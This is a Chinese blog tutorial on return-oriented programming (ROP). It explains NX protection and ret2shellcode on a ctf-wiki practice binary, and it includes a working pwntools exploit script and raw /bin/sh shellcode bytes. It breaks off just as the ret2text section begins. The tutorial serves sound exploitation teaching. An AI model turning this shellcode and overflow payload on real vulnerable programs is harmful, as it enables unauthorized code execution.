ROP的基本原理和实战教学,看这一篇就够了

本文深入探讨了返回导向编程(ROP)技术,包括其基本原理、为什么需要使用ROP,以及如何通过ret2shellcode、ret2text和ret2syscall等方法实现攻击。文章详细介绍了每种方法的原理、利用条件、调试过程,提供了实例解析,并最终总结了ROP在绕过现代操作系统防御中的关键作用。
摘要由CSDN通过智能技术生成

前言

在了解栈溢出后,我们再从原理和方法两方面深入理解基本ROP。

什么是ROP

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。通过上一篇文章栈溢出漏洞原理详解与利用,我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

为什么要ROP

探究原因之前,我们先看一下什么是NX(DEP) NX即No-execute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就有了各种绕过办法,rop就是一种

基本ROP

ret2shellcode

我们先看这个,顾名思义,ret to shellcode,就是将返地址覆盖到我们插入shellcode的首地址。

从原理中解析ret2shellcode

先通过一个小程序回顾一下栈溢出利用过程:

#include <stdio.h>
#include <stdlib.h>
char buf[10];
int main(int arg, char **args)
{
   
	char s[10]; 
  	puts("start !!!");
  	gets(s);
  	strncpy(buf, s, 10);
  	printf(buf);
  	printf("\nend !!!");
  	return 0;
}

可以知道s所在位置为esp+0x16,esp=0x0061FE80,那么s所在位置为61FF96,也就是ebp-0x12,因此填充18个字符即可满足溢出的临界条件

利用IDA找到buf的地址0x004053E0,在BSS段。这里普及一下是BSS段:BSS段通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0。既然可读写那么只要能够在栈内写入的payload,然后再转移到此处,并且执行权限就可以控制。通过strncpy函数达到这一目的

从例子中解析ret2shellcode

来看一个例子:ret2shellcode (https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode)

发现利用点

int __cdecl main(int argc, const char **argv, const char **envp)
{
   
  char s; // [esp+1Ch] [ebp-64h]
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

在IDA中能够发现两点:一、存在栈溢出 二、能利用写入/bin/sh进行getshell

确定利用前提

此时只需要确定是否开启NX和bss段是否可以执行 首先检查保护机制

然后在IDA中确定buf2的BSS段位置

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

查看该BSS段是否具有执行权限

一切完成后,可以发现这个文件可以进行ret2shellcode

调试

在get处设置断点,来确定s变量与ebp的距离,可以看到 s 的地址为 0xffffbe3c,计算一下得出 s 相对于 ebp 的偏移为 0x6c。

这里为什么要在get处设置断点?
因为知道s的地址才能计算出相对于ebp的偏移,此处esp刚好存储s的的地址
0x804858c <main+95>:	lea    eax,[esp+0x1c]
0x8048590 <main+99>:	mov    DWORD PTR [esp],eax
当然您可以选择其它位置,只不过这里更便捷。

可以知道溢出的临界点与触发地址还有一个4个字节的间隔 所以payload的结构是含有shellcode的6c个字节+4个字节+buf2地址

from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))  //含有shellcode的6c个字节+4个字节+buf2地址
sh.interactive()

扩展点

>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
>>> asm(shellcraft.sh()).ljust(112, 'A')
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
所以我们也可以直接构造,pwntools提供了shellcraft模块更方便。
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
这里的shellcraft.sh()则是执行/bin/sh的shellcode
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
shellcode.ljust(112, 'A') + p32(buf2_addr)

ret2text

含义

顾名思义,ret to text,也就是说我们的利用点在原文件中寻找即可,控制程序执行程序本身已有的的代码 (.text)。

从例子中解析ret2text

来看一个例子:ret2text**(https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值